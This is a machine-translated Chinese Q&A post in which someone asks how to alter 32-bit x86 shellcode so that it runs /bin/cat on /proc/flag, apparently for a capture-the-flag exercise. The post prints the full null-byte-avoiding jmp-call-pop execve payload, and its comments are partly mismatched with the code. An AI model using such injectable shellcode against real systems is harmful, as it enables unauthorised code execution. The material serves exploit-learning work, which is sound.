Security 如何通过此外壳代码在/pro/flag目录中获取我的标志

Security 如何通过此外壳代码在/pro/flag目录中获取我的标志,security,shellcode,Security,Shellcode,这是一个外壳代码。在目录proc中获取标志的目的。但实际上指针只指向/bin/cat,我希望它指向proc/flag #包括 我想通过此外壳代码在/proc/flag处获取我的标志。所以这里的任何人都知道,我如何将指针从bin/cat更改为pro/flag #define STRING "/bin/catN/proc/flag" #define STRLEN1 8 #define STRLEN2 19 #define ARGV (STRLEN1+1) #define ENVP

这是一个外壳代码。在目录proc中获取标志的目的。但实际上指针只指向/bin/cat,我希望它指向proc/flag

#包括

我想通过此外壳代码在/proc/flag处获取我的标志。所以这里的任何人都知道,我如何将指针从bin/cat更改为pro/flag

#define STRING  "/bin/catN/proc/flag"
#define STRLEN1   8
#define STRLEN2   19

#define ARGV  (STRLEN1+1)
#define ENVP    (ARGV+4)

.globl main
.type  main, @function

main:
  jmp     calladdr

popladdr:
  popl    %esi                    /* esi points to STRING */
  movl    %esi,(ARGV)(%esi)       /* set up argv pointer to pathname */
  xorl    %eax,%eax               /* get a 32-bit zero value */
  movb    %al,(STRLEN1)(%esi)      /* null-terminate our string */
  movl    %eax,(ENVP)(%esi)       /* set up null envp */

  movb    $SYS_execve,%al         /* syscall number */
  movl    %esi,%ebx               /* arg 1: string pathname */
  leal    ARGV(%esi),%ecx         /* arg 2: argv */
  leal    ENVP(%esi),%edx         /* arg 3: envp */
  int     $0x80                   /* execve("/bin/sh", ["/bin/sh", NULL], NULL) */

  xorl    %ebx,%ebx               /* arg 1: 0 */
  movl    %ebx,%eax
  inc     %eax                    /* exit(0) */
  /* mov+inc to avoid null byte */
  int     $0x80                   /* invoke syscall */

calladdr:
  call    popladdr
  .string STRING